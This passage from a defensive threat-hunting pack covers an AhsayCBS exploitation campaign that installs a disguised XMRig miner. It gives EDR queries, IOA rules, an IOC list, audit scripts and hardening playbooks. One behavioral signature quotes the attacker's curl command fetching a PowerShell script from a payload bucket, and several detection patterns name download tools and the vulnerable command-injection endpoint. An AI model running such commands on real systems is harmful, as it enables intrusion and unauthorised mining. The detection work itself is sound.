Validation: static-reviewedEquivalence: unsupported-without-redesignProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Service image paths at creation are not visible in the attested field model.
// HUNT: service created with an image path inside a Temp folder
// MITRE: T1543.003, T1569.002
// CONF: medium | FP: medium | COST: low | REQUIRES: CreateService with ServiceImagePath (validate in tenant)
// SOURCE: Huntress advisory (service wrapper executed from the Temp folder as SYSTEM)
// FALSE POSITIVES: installers or updaters that register a transient service from a Temp extraction folder
// TUNING: exclude the named installer once reviewed, for example | ServiceImagePath!=/\\Temp\\(YourVendorSetup)\\/i ; exclude by full path, never by extension
// LOOKBACK: 30d
#event_simpleName=CreateService
| ServiceImagePath=/\\Temp\\[^\\]+\.(exe|sys)/i
| table([@timestamp, ComputerName, UserName, ServiceDisplayName, ServiceImagePath, aid], limit=200)
Q9 · edge.exe, msedge.exe or WinRing0x64.sys written to a Temp folder
CONF HIGHFP MEDIUMCOST LOW

Looks for: File-write view of the staging step. Huntress observed edge.exe, msedge.exe and WinRing0x64.sys landing in %TEMP% (AppData\Local\Temp). The two Edge names are almost never legitimate there. FP: hardware-monitoring or RGB/fan-control tools that extract WinRing0x64.sys to Temp during install; triage by writer process and signature.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A file written by a kernel or remote path without a File Creation event is not captured.
  • PowerQuery assumes: File Creation covers all file types, so the extension test in the regex replaces the CQL PE-only event filter.
  • PowerQuery assumes: On non-Process-Creation events the writer is src.process.*.
// HUNT: PE written to Temp as edge.exe / msedge.exe / WinRing0x64.sys
// MITRE: T1105, T1036.005, T1496.001
// CONF: high | FP: medium | COST: low | REQUIRES: PeFileWritten / NewExecutableWritten with TargetFileName
// SOURCE: Huntress advisory (payloads dropped in %TEMP%, driver at ...\AppData\Local\Temp\WinRing0x64.sys)
// FALSE POSITIVES: legitimate hardware-monitoring installers that ship the WinRing0 driver
// TUNING: for the .sys branch only, exclude a reviewed installer writer, for example | ContextBaseFileName!=/^(YourMonitoringTool)\.exe$/i ; never exclude edge.exe or msedge.exe
// LOOKBACK: 30d
#event_simpleName=/^(PeFileWritten|NewExecutableWritten)$/
| TargetFileName=/\\Temp\\(edge|msedge|WinRing0x64)\.(exe|sys)$/i
| table([@timestamp, ComputerName, UserName, TargetFileName, ContextBaseFileName, SHA256HashData, aid], limit=200)
Q10 · Published SHA-256 values (msedge.exe NSSM, edge.exe XMRig, Taskgmr.ps1) in execution or file writes
CONF MEDIUMFP LOWCOST MEDIUM

Looks for: Hash match across process and PE-write events. Single-sourced to Huntress and perishable (a rebuilt miner or wrapper changes the hash), so this supports triage but never replaces Q1 to Q9. The Taskgmr.ps1 hash is included for completeness but a script is only visible if the sensor records its hash. FP: none expected.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: The third value is a PowerShell script hash; it is not seen as a process image hash, so only file-creation of that script can match.
  • PowerQuery assumes: Hash population on tgt.process.image.sha256 and tgt.file.sha256 varies by tenant; run the readiness test.
  • PowerQuery assumes: The hash lists are lowercase and in is case-sensitive.
// HUNT: published campaign SHA-256 values seen in process or PE-write telemetry
// MITRE: T1105, T1036.005, T1496.001
// CONF: medium | FP: low | COST: medium | REQUIRES: SHA256HashData on ProcessRollup2 / PeFileWritten / NewExecutableWritten
// SOURCE: Huntress advisory IOC table (single source; hashes change on rebuild)
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|PeFileWritten|NewExecutableWritten)$/
| in(field="SHA256HashData", values=["05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034", "4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d", "481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21"])
| table([@timestamp, #event_simpleName, ComputerName, UserName, FileName, SHA256HashData, ParentBaseFileName, aid], limit=200)
Q11 · Connection to the XMR pool address or port 8029 from an Edge-named process
CONF HIGHFP LOWCOST LOW

Looks for: Huntress saw the miner connect to 51.195.127.124:8029 (xmr.kryptex.network). The second branch catches a pool address change by keying on the port plus the fake Edge process name. FP: none expected; legitimate Edge never talks to TCP 8029.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Connections from a process renamed to something other than edge.exe or msedge.exe to a different pool are not captured.
  • PowerQuery assumes: On IP Connect events the acting process is src.process.*, not tgt.process.*.
// HUNT: network connection to the Kryptex pool IP, or TCP 8029 from edge.exe / msedge.exe
// MITRE: T1571, T1496.001
// CONF: high | FP: low | COST: low | REQUIRES: NetworkConnectIP4 with ContextBaseFileName
// SOURCE: Huntress advisory (pool IP 51.195.127.124:8029; miner process edge.exe)
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4="51.195.127.124" OR (RemotePort=8029 AND ContextBaseFileName=/^(edge|msedge)\.exe$/i)
| table([@timestamp, ComputerName, UserName, ContextBaseFileName, RemoteAddressIP4, RemotePort, aid], limit=200)
Q12 · DNS lookup of the XMR pool host or the campaign OSS bucket
CONF HIGHFP LOWCOST LOW

Looks for: Name resolution for xmr.kryptex.network (pool) or imagefiles-backup.oss-ap-southeast-7.aliyuncs.com (payload host). Kryptex is a public mining pool, so a hit on the pool name means mining software of any origin is running. FP: none expected on a corporate endpoint.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Lookups made through an encrypted resolver that bypasses the host stack are not captured.
  • PowerQuery assumes: event.dns.request is the pySigma-mapped DNS field; some schema versions use dns.request instead, so run the readiness test first.
// HUNT: DNS resolution of the Kryptex pool host or the campaign Alibaba Cloud OSS bucket
// MITRE: T1071.001, T1571, T1496.001
// CONF: high | FP: low | COST: low | REQUIRES: DnsRequest with DomainName
// SOURCE: Huntress advisory (pool host and payload bucket); both single-sourced
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=DnsRequest
| DomainName=/^(xmr\.kryptex\.network|imagefiles-backup\.oss-ap-southeast-7\.aliyuncs\.com)$/i
| table([@timestamp, ComputerName, UserName, DomainName, ContextProcessId_decimal, aid], limit=200)
Q13 · Network contact with the six exploitation source addresses
CONF MEDIUMFP MEDIUMCOST MEDIUM

Looks for: Inbound accepts or outbound connects involving the six addresses Huntress tied to exploitation. They are single-sourced and perishable, and cloud or anonymizing ranges can be shared with unrelated traffic, so a hit is a lead to pair with Q1 or Q2, not a verdict. FP: unrelated tenants on the same hosting ranges; scanners.

Validation: static-reviewedEquivalence: approximate-analyticProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Inbound-only scans that never reach a listener the agent records are not captured.
  • PowerQuery: The addresses are perishable and single-sourced.
  • PowerQuery assumes: Inbound traffic to a listener is assumed to appear as an IP Connect event with the peer in src.ip.address.
// HUNT: inbound accept or outbound connect involving the six reported exploitation addresses
// MITRE: T1190
// CONF: medium | FP: medium | COST: medium | REQUIRES: NetworkReceiveAcceptIP4 / NetworkConnectIP4 with RemoteAddressIP4 (validate in tenant)
// SOURCE: Huntress advisory IOC table (single source, perishable)
// FALSE POSITIVES: shared cloud or anonymizing ranges, scanners
// TUNING: trust a hit only when the same aid also fires Q1, Q2 or Q3; scope to the AhsayCBS hosts with | in(field="aid", values=[...]) or a ComputerName filter
// LOOKBACK: 30d
#event_simpleName=/^(NetworkReceiveAcceptIP4|NetworkConnectIP4)$/
| in(field="RemoteAddressIP4", values=["177.4.12.11", "38.60.252.110", "107.191.47.199", "185.220.236.49", "104.234.26.10", "123.202.208.37"])
| table([@timestamp, #event_simpleName, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, LocalPort, aid], limit=200)
Q14 · PowerShell running Taskgmr.ps1 or a Task Manager aware service-control script
CONF MEDIUMFP LOWCOST LOW

Looks for: Taskgmr.ps1 watches for Task Manager, stops MicrosoftEdgeUpdateSvc while it is open, restarts it afterwards and kills Task Manager at 18:00 local time. If the script runs from a file the command line names it; if it is pasted inline the second branch looks for the Task Manager plus Stop-Service/Start-Service pairing Huntress keys on. Script-block content is not in Falcon process events, so this is a command-line view only. FP: none expected.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Script content loaded from a file that never appears on the command line is not captured.
  • PowerQuery assumes: Case-insensitive matching is the PowerQuery default for contains and matches.
// HUNT: PowerShell invoking Taskgmr.ps1, or Task Manager awareness combined with Stop-/Start-Service
// MITRE: T1059.001, T1564, T1057, T1124
// CONF: medium | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine
// SOURCE: Huntress advisory + Huntress Sigma rule "PowerShell Scriptblock - Task Manager Aware Service Control"
// FALSE POSITIVES: admin scripts that coordinate a service with Task Manager (rare)
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(powershell|pwsh)\.exe$/i
| CommandLine=/Taskgmr\.ps1/i OR (CommandLine=/taskmgr/i AND CommandLine=/(Stop|Start)-Service/i)
| table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
Q15 · Per-host correlation: two or more AhsayCBS-to-miner signals on one aid
CONF HIGHFP LOWCOST MEDIUM

Looks for: Counts distinct signals per host across the whole chain: service child, Edge masquerade, persistence service, Temp staging, pool traffic and Taskgmr. Any two on one host is a confirmed intrusion until disproven. FP: none expected; each signal is rare on its own.

Validation: static-reviewedEquivalence: unsupported-without-redesignProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: No composite per-host signal count is shipped; the cbs_download_child, fake_edge_process, taskgmr_script, temp_staging and pool_connection signals are covered by Q2, Q5, Q14, Q9 and Q11 individually.
// HUNT: correlate AhsayCBS exploitation-to-miner signals per host (two or more distinct signals)
// MITRE: T1190, T1105, T1543.003, T1036.005, T1496.001
// CONF: high | FP: low | COST: medium | REQUIRES: ProcessRollup2, CreateService, PeFileWritten, NewExecutableWritten, NetworkConnectIP4
// SOURCE: Huntress advisory (full chain); composite of Q2, Q5, Q7, Q9, Q11, Q14
// FALSE POSITIVES: very low; each signal is rare on its own
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2|CreateService|PeFileWritten|NewExecutableWritten|NetworkConnectIP4)$/
| case {
    #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i | FileName=/^(curl|certutil)\.exe$/i | Signal := "cbs_download_child";
    #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(edge|msedge)\.exe$/i | ImageFileName=/\\(Temp|Users\\Public|ProgramData)\\[^\\]+$/i | Signal := "fake_edge_process";
    #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | FileName=/^(powershell|pwsh)\.exe$/i | CommandLine=/Taskgmr\.ps1/i | Signal := "taskgmr_script";
    #event_simpleName=CreateService | ServiceDisplayName=/^(MicrosoftEdgeUpdateSvc|EdgeUpdateHelper)$/i | Signal := "edge_update_service";
    #event_simpleName=/^(PeFileWritten|NewExecutableWritten)$/ | TargetFileName=/\\Temp\\(edge|msedge|WinRing0x64)\.(exe|sys)$/i | Signal := "temp_staging";
    #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="51.195.127.124" | Signal := "pool_connection";
    * | Signal := "none";
  }
| !in(field="Signal", values=["none"])
| groupBy([aid, ComputerName], function=[count(Signal, distinct=true, as=DistinctSignals), collect([Signal], limit=10), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)], limit=20000)
| DistinctSignals>1
| sort(DistinctSignals, order=desc, limit=200)
09

Detection Rules by Platform

Four queries are clean enough to promote from hunt to Custom IOA. All four are detect only (Monitor). The pack recommends no prevention action anywhere: every campaign indicator is single-sourced to Huntress, and WinRing0x64.sys and the Kryptex pool are legitimate components. Q1 and Q2 are the strongest candidates to move to a blocking policy later, after a baseline period on your own AhsayCBS hosts.

CrowdStrike: Custom IOA

IOA nameFromRule typePatternExclusionsAction
AhsayCBS, Service Spawns Download or Recon ToolQ2Process Creation (Windows)Parent image filename .*\\cbssvcX(64|86)\.exe; image filename .*\\(curl|certutil|powershell|pwsh|bitsadmin|wget|mshta)\.exeNoneDetect: High
AhsayCBS, Unexpected Service Child ProcessQ1Process Creation (Windows)Parent image filename .*\\cbssvcX(64|86)\.exe; exclude the documented baseline commands (7za, rotatelogs, conhost, java, startup probes)Baseline command lines from Q1Detect: Medium
AhsayCBS Campaign, NSSM Wrapper Parents Fake Edge MinerQ6Process Creation (Windows)Parent image filename .*\\msedge\.exe; image filename .*\\edge\.exeNoneDetect: High
AhsayCBS Campaign, Edge-Named Binary Written to TempQ9File Creation (Windows)File path .*\\Temp\\(edge|msedge)\.exeNoneDetect: High

Pattern syntax follows the Custom IOA regular-expression fields. Confirm the exact escaping in your console before saving, then create each rule in Monitor on a pilot policy for one business week. The hashes, addresses and domains belong in IOC Management (section 10) as detect, not in IOAs.

Not recommended as IOAs: Q3 and Q4 (command-line content, better as scheduled searches), Q5 (broad path logic), Q7 and Q8 (CreateService field population varies by sensor version), Q10 and Q13 (single-source perishable indicators), Q14 (command-line view only), Q15 (correlation, better as a scheduled search).

SentinelOne: custom detection rules

RuleSource queryRun asNotes
AhsayCBS, Service Spawns Download or Recon ToolQ2, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written
AhsayCBS, Unexpected Service Child ProcessQ1, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written
AhsayCBS Campaign, NSSM Wrapper Parents Fake Edge MinerQ6, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written
AhsayCBS Campaign, Edge-Named Binary Written to TempQ9, PowerQuery tabScheduled custom detection ruleBind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written

Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.

10

Machine-Readable IOC Appendix

Blocks tuned to this campaign. The CSV is the only block meant for import: it holds the twelve atomic values (three hashes, two domains, seven IPv4 addresses), every one traced to snapshot 01-huntress-advisory.txt and every one at detect. No value in this pack is at prevent.

Falcon IOC Management CSVbulk import, detect only
type,value,action,severity,expiration,description,tags
sha256,05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034,detect,high,2027-04-10,msedge.exe modified NSSM wrapper,campaign:AhsayCBS-XMRig
sha256,4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d,detect,high,2027-04-10,edge.exe XMRig Monero miner,campaign:AhsayCBS-XMRig
sha256,481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21,detect,high,2027-04-10,Taskgmr.ps1 Task Manager evasion script,campaign:AhsayCBS-XMRig
domain,imagefiles-backup.oss-ap-southeast-7.aliyuncs.com,detect,high,2027-04-10,Payload bucket on Alibaba Cloud OSS,campaign:AhsayCBS-XMRig
domain,xmr.kryptex.network,detect,medium,2027-04-10,Kryptex XMR mining pool (public pool; hit means mining software),campaign:AhsayCBS-XMRig
ipv4,51.195.127.124,detect,medium,2027-04-10,Mining pool IP TCP 8029,campaign:AhsayCBS-XMRig
ipv4,177.4.12.11,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
ipv4,38.60.252.110,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
ipv4,107.191.47.199,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
ipv4,185.220.236.49,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
ipv4,104.234.26.10,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
ipv4,123.202.208.37,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
SentinelOne IOC importnot included

This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.

Behavioral Signaturesdurable, outlives the IOCs
AhsayCBS XMRig campaign - behavioral signatures (survive hash and IP rotation)

B1  cbssvcX64.exe / cbssvcX86.exe as parent of curl.exe, certutil.exe, a shell or any non-baseline process
B2  curl -sk -o "...\AppData\Local\Temp\Taskgmr.ps1" "http://<bucket>/javas/Office/win/Taskgmr.ps1" --max-time 60
B3  certutil.exe download of WinRing0x64.sys into ...\AppData\Local\Temp
B4  edge.exe / msedge.exe in a Temp folder (real Edge runs msedge.exe from Program Files (x86)\Microsoft\Edge\Application; no real edge.exe exists)
B5  Service MicrosoftEdgeUpdateSvc (real: edgeupdate / edgeupdatem) with image msedge.exe in Temp, running as SYSTEM
B6  msedge.exe (NSSM) as parent of edge.exe; command line containing --daemonized
B7  PowerShell checking for Task Manager and calling Stop-Service / Start-Service; Task Manager killed at 18:00 host-local time
B8  Outbound TCP 8029 to a mining pool; DNS for xmr.kryptex.network
B9  New .jsp file in the AhsayCBS web application directory; unexpected replication receiver in the console
B10 Request to /rps/api/json/UpdateReceivers.do from a non-peer address
Named Malware / Toolingas named by the source
Names exactly as the sources use them

AhsayCBS (Ahsay Systems)   backup management console; versions through 10.3.4 per Huntress
CVE-2026-105133            checkSysPwd improper authentication (medium)
CVE-2026-105134            UpdateReceivers.do OS command injection / RCE (critical)
XMRig                      open-source Monero miner, masqueraded as edge.exe
NSSM                       Non-Sucking Service Manager, modified and renamed msedge.exe
Taskgmr.ps1                PowerShell evasion script (described by Huntress as AI-assisted)
WinRing0x64.sys            legitimate but vulnerable OpenLibSys kernel driver
Pool                       xmr.kryptex.network:8029, pool IP 51.195.127.124, user krxYMRN97D/creativejs
Audit Helpersread-only PowerShell
# Read-only audit helpers (run per AhsayCBS host, through RTR or your RMM)

# A. Fake Edge binaries in user-writable folders
Get-ChildItem -Path $env:SystemDrive\Users, $env:WINDIR\Temp, $env:ProgramData -Recurse -Force -ErrorAction SilentlyContinue -Include edge.exe,msedge.exe,Taskgmr.ps1,WinRing0x64.sys |
  Where-Object { $_.FullName -match '\\Temp\\|\\Users\\Public\\|\\ProgramData\\' } |
  Get-FileHash -Algorithm SHA256 -ErrorAction SilentlyContinue | Select-Object Path, Hash

# B. The persistence service
Get-CimInstance Win32_Service | Where-Object { $_.Name -match 'MicrosoftEdgeUpdateSvc|EdgeUpdateHelper' -or $_.PathName -match '\\Temp\\(ms)?edge\.exe' } |
  Select-Object Name, State, StartName, PathName

# C. ASR vulnerable-driver rule state (56a863a9-875e-4185-98a7-b882c64b5ce5)
(Get-MpPreference).AttackSurfaceReductionRules_Ids -contains '56a863a9-875e-4185-98a7-b882c64b5ce5'

Action policy: nothing is set to prevent. Every indicator is single-sourced to Huntress (two-source rule), the miner and wrapper hashes change on every rebuild, WinRing0x64.sys is a legitimate signed driver used by real software, and the Kryptex pool is a public service. Promote a value to prevent only after a second independent vendor lists it, and never for WinRing0x64.sys.

11

Detection Validation Gates

Work these in order. A query that has not cleared gate 2 has no business being an alert.

GateWhat to proveHowPass criteria
G1 · Telemetry readyThe events each query depends on arrive in your tenantProcess creation with parent and command line (CrowdStrike: ProcessRollup2; SentinelOne: Process Creation; Defender: DeviceProcessEvents), service creation (CrowdStrike: CreateService), PE file write (CrowdStrike: PeFileWritten), outbound connection (CrowdStrike: NetworkConnectIP4) and DNS lookup (CrowdStrike: DnsRequest). Run each #event_simpleName filter alone over 24h with count(). Pay particular attention to CreateService (Q7, Q8) and its fields ServiceDisplayName and ServiceImagePath, and to NetworkReceiveAcceptIP4 (Q13).Non-zero counts and the named fields populated.
G2 · Benign baselineYou know what normal looks likeRun Q1 over 30 days on every AhsayCBS host and classify every child process; run Q8, Q9 and Q13 across 30 days of fleet history.Every recurring hit is explained and excluded, or escalated.
G3 · Positive testThe query fires on the behavior it claimsOn an isolated test host in a change window: copy a harmless signed executable to a Temp folder as edge.exe and run it (Q5, Q9); create a test service from it named MicrosoftEdgeUpdateSvc (Q7); run powershell -Command "echo Taskgmr.ps1" (Q14); on a lab host with a service wrapper named cbssvcX64.exe run curl.exe --version as its child (Q1, Q2). Never download the real payloads or load the real driver.Matching queries fire.
G4 · Negative testTuning did not blind the queryRe-run G3 with the TUNING exclusions applied.Test events still fire.
G5 · PromotionSafe to alertCustom IOA in Monitor mode for one business week on a pilot policy.Zero unexplained detections.
G6 · Response readinessThe team can act on a hitTabletop the section 14 runbook, including the decision to re-image rather than clean.Analyst can state the isolation and re-image path for an AhsayCBS host without losing backup data.
12

Hardening: Tiered

Controls are mapped to the technique, then to a MITRE mitigation (the why) and an authority (the what and where). There is no vendor patch at disclosure, so the first tier is about removing exposure, not updating. MITRE's own page for T1496.001 states the technique cannot be easily mitigated with preventive controls, so the hardening focuses on the entry point and on persistence.

Immediate (this week, low compatibility risk)
  • I1 · Take the AhsayCBS management interface off the internet. Allow it only from trusted IP addresses or through a VPN. This is the vendor-neutral mitigation Huntress gives (the exploit targets the externally accessible web application service) and is the only effective control while no patch exists. M1035 Limit Access to Resource Over Network, M1030 Network Segmentation. Authority: Huntress advisory and MITRE T1190 mitigation list. Playbook P1. Verify from an untrusted network that the console no longer answers.
  • I2 · Run the read-only compromise sweep on every AhsayCBS host (Q1, Q2, Q5, Q7 over 30 days, plus playbook P3 and native hunts N1 and N2). Huntress says any IOC hit warrants a full re-image from a trusted backup because attackers hid secondary backdoors. Detection, not prevention.
  • I3 · Load the section 10 CSV into IOC Management as detect and run Q3, Q10, Q11, Q12 retrospectively. Detect only; the values are single-sourced.
  • I4 · Enable process command-line auditing and size the Security log so a child of the service leaves a trail even if the sensor is tampered with. M1047 Audit. Authority: MITRE T1543.003 mitigation list. best-practice, no formal benchmark cited Playbook P2.
  • I5 · Treat credentials held by the console as exposed. Rotate AhsayCBS administrator and replication-receiver credentials and review users and receivers you did not create. The sources do not report what the actor read, so this is a precaution. best-practice, inference
Near term (1 to 4 weeks, pilot first)
  • N1 · ASR rule "Block abuse of exploited vulnerable signed drivers" in Audit mode first, then Block. Microsoft states it prevents apps from saving vulnerable signed drivers to disk but does not stop a driver already on the machine from loading. Whether WinRing0x64.sys is covered by Microsoft's list was not confirmed by any fetched source, so verify in audit mode. M1040 Behavior Prevention on Endpoint (T1543.003). Authority: Microsoft Learn, ASR rules reference (GUID 56a863a9-875e-4185-98a7-b882c64b5ce5). Playbook P4.
  • N2 · Restrict outbound traffic from the backup server. Allow only the destinations a backup console needs (replication peers, update and licensing endpoints) and alert on anything else, including TCP 8029 and plain HTTP to cloud object-storage hosts. M1037 Filter Network Traffic. Authority: MITRE T1190 mitigation list (restrict outbound traffic from public-facing servers). Alert before you block.
  • N3 · Application control on the server. Allow execution only from approved locations so binaries in \Temp\, \Users\Public\ and \ProgramData\ cannot run, and services cannot be registered from those paths. M1038 Execution Prevention, M1045 Code Signing, M1022 Restrict File and Directory Permissions. Authority: MITRE T1036.005 mitigation list. best-practice, no CIS item cited Audit first.
  • N4 · Least privilege for the service. The exploit runs as NT AUTHORITY\SYSTEM. If Ahsay supports a lower-privilege service account, test it on a pilot server; MITRE advises least-privilege service accounts for exploited public-facing processes. M1026 Privileged Account Management. Whether Ahsay supports this was not verified. best-practice, vendor support unverified
  • N5 · Front the console with a WAF or reverse proxy that only forwards the paths your operators use, and blocks /rps/api/json/UpdateReceivers.do from anywhere that is not a replication peer. M1050 Exploit Protection. Authority: MITRE T1190 mitigation list. Test replication before enforcing.
Strategic (1 to 3 months)
  • S1 · Track the vendor and apply the patch when it exists. Subscribe to Ahsay's advisories and re-test: NVD says 10.3.4 fixes the flaws while Huntress says it does not, so verify the fixed version against the vendor notice before closing the exposure. M1051 Update Software, M1016 Vulnerability Scanning. Authority: MITRE T1190 mitigation list.
  • S2 · Segment backup infrastructure in its own management zone reachable only from admin jump hosts, so a compromised console cannot reach production. M1030 Network Segmentation, M1048 Application Isolation and Sandboxing. Authority: MITRE T1190 mitigation list.
  • S3 · Memory integrity (HVCI) and the Microsoft vulnerable driver blocklist where hardware allows, to make loading drivers like WinRing0x64.sys harder. Microsoft's ASR page does not document the blocklist, so confirm its coverage on your build. M1040, M1045 (T1543.003). best-practice, coverage unverified
  • S4 · Immutable or offline backup copies and a tested bare-metal restore, so a re-image of a compromised console (Huntress's advice) does not cost data. best-practice, no formal benchmark
13

Deployable Playbooks

Test every playbook on a pilot ring first. P4 is audit-first by design. Each playbook lists its prerequisites, reboot requirement and rollback.

P1 · Scope console access to trusted addresses (I1)

# P1 - Scope inbound access to the AhsayCBS console to trusted addresses (I1)
# Prerequisites: local administrator; know the console TCP port(s) and your trusted admin / replication-peer ranges.
#                Keep an out-of-band console session open so a mistake cannot lock you out.
# Reboot required: no
# Rollback: Remove-NetFirewallRule -DisplayName 'AhsayCBS trusted access'; Get-NetFirewallRule -DisplayName 'AhsayCBS broad (disabled by P1)' | Enable-NetFirewallRule

$Ports   = 'REPLACE_WITH_CONSOLE_TCP_PORTS'          # for example the HTTP/HTTPS ports your install uses
$Trusted = 'REPLACE_WITH_TRUSTED_CIDR_LIST'          # for example a VPN pool and your replication peers

# 1. Add the scoped allow rule first
New-NetFirewallRule -DisplayName 'AhsayCBS trusted access' -Direction Inbound -Action Allow -Protocol TCP `
  -LocalPort ($Ports -split ',') -RemoteAddress ($Trusted -split ',') -Profile Any

# 2. Review the existing broad inbound rules that expose the same ports, then disable them (do not delete)
Get-NetFirewallPortFilter -Protocol TCP | Where-Object { $_.LocalPort -in ($Ports -split ',') } |
  Get-NetFirewallRule | Where-Object { $_.Direction -eq 'Inbound' -and $_.Action -eq 'Allow' -and $_.DisplayName -ne 'AhsayCBS trusted access' } |
  Select-Object DisplayName, Enabled
# After reviewing the list above and confirming the trusted path works:
#   Get-NetFirewallRule -DisplayName '<broad rule name>' | Rename-NetFirewallRule -NewName 'AhsayCBS broad (disabled by P1)' ; Disable-NetFirewallRule ...

# Verify: from an address outside $Trusted the console ports must not answer.

P2 · Command-line auditing and log size (I4)

# P2 - Process command-line auditing and Security log size (I4)
# Prerequisites: local administrator; size the log first; do not enable on hosts where command lines carry secrets without a retention decision
# Reboot required: no
# Rollback: auditpol /set /subcategory:"Process Creation" /success:disable
#           Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name ProcessCreationIncludeCmdLine_Enabled

auditpol /set /subcategory:"Process Creation" /success:enable
New-Item -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -PropertyType DWord -Force | Out-Null
wevtutil sl Security /ms:268435456

# Verify
auditpol /get /subcategory:"Process Creation"
wevtutil gl Security | Select-String 'maxSize'
# Service installs already log System Event 7045 by default; forward 4688 and 7045 to your SIEM.

P3 · Read-only compromise sweep (I2)

# P3 - Read-only compromise sweep for one AhsayCBS host (I2)
# Prerequisites: local administrator or Falcon RTR with the needed role
# Reboot required: no
# Rollback: none required (read-only)

# 1. Persistence service
Get-CimInstance Win32_Service | Where-Object { $_.Name -match 'MicrosoftEdgeUpdateSvc|EdgeUpdateHelper' -or $_.PathName -match '\\Temp\\' } |
  Select-Object Name, DisplayName, State, StartName, PathName

# 2. Fake Edge, script and driver files in Temp
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp", "$env:WINDIR\Temp" -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match '^(edge|msedge)\.exe$|^Taskgmr\.ps1$|^config\.json$|^WinRing0x64\.sys$' } |
  Select-Object FullName, Length, CreationTime, LastWriteTime

# 3. Hash anything found and compare with the section 10 CSV
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp\*" -Include edge.exe,msedge.exe,Taskgmr.ps1 -Force -ErrorAction SilentlyContinue |
  Get-FileHash -Algorithm SHA256

# 4. Loaded or registered WinRing0 driver
Get-CimInstance Win32_SystemDriver | Where-Object { $_.Name -match 'winring0' -or $_.PathName -match 'WinRing0' } | Select-Object Name, State, PathName

# 5. Established connections to TCP 8029
Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Where-Object { $_.RemotePort -eq 8029 } |
  Select-Object LocalPort, RemoteAddress, RemotePort, OwningProcess

# Any hit: do not clean in place. Follow the section 14 runbook (isolate, collect evidence, re-image).

P4 · ASR vulnerable signed driver rule, audit (N1)

# P4 - ASR: Block abuse of exploited vulnerable signed drivers (AUDIT first) (N1)
# Prerequisites: Microsoft Defender Antivirus active; local administrator
# Reboot required: no
# Rollback: Remove-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5
#           (or Add-MpPreference with -AttackSurfaceReductionRules_Actions Disabled)

$id = '56a863a9-875e-4185-98a7-b882c64b5ce5'
